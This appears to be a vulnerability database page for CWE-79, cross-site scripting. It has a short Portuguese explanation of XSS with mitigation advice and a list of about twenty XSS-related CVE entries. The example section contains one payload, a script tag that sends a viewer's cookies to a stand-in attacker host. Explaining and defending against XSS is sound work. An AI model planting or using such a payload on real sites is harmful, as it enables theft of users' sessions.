Fallos del tipo CWE-79

29.988 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-40736MEDIUMA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.4%CVE-2024-7918MEDIUMPocket Widget <= 0.1.3 - Admin+ Stored XSSEPSS 0.4%CVE-2023-2139MEDIUMReflected Cross-site Scripting vulnerability affecting DELMIA Apriso Release 2017 through Release 2022 EPSS 0.4%CVE-2022-44027MEDIUMAn issue was discovered in NetScout nGeniusONE 6.3.2 before P10. It allows Reflected Cross-Site Scripting (XSS), issue 4 of 6.EPSS 0.4%CVE-2024-3929MEDIUMContent Views – Post Grid & Filter, Recent Posts, Category Posts, & More (Gutenberg Blocks and Shortcode) <= 3.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Widget Post OverlayEPSS 0.4%CVE-2024-4329MEDIUMThim Elementor Kit <= 1.1.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.4%CVE-2023-1996MEDIUMReflected Cross-site Scripting (XSS) vulnerability affecting Release 3DEXPERIENCE R2018x through Release 3DEXPERIENCE R2023xEPSS 0.4%CVE-2025-10348MEDIUMStored Cross-Site Scripting in URVE Smart OfficeEPSS 0.4%CVE-2026-47631HIGHMicrosoft Exchange Server Spoofing VulnerabilityEPSS 0.4%CVE-2022-47698MEDIUMCOMFAST (Shenzhen Sihai Zhonglian Network Technology Co., Ltd) CF-WR623N Router firmware V2.3.0.1 is vulnerable to Cross Site Scripting (XSSEPSS 0.4%CVE-2026-0752HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.4%CVE-2023-32797HIGHWordPress video carousel slider with lightbox Plugin <= 1.0.22 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-6910MEDIUMEventON < 2.2.17 - Admin+ Stored XSSEPSS 0.4%CVE-2026-111987MEDIUMAUTOMATIC1111 stable-diffusion-webui Extra-Networks Card Builder sd_models.py read_metadata_from_safetensors cross site scriptingEPSS 0.4%CVE-2024-40728HIGHA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.4%CVE-2024-2456MEDIUMEcwid Ecommerce Shopping Cart <= 6.12.10 - Authenticated(Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-11019MEDIUMGrand Vice info Webopac7 - Reflected XSSEPSS 0.4%CVE-2024-10727LOWCross-Site Scripting (XSS) in phpipam/phpipamEPSS 0.4%CVE-2024-40737MEDIUMA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.4%CVE-2024-38972MEDIUMA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.4%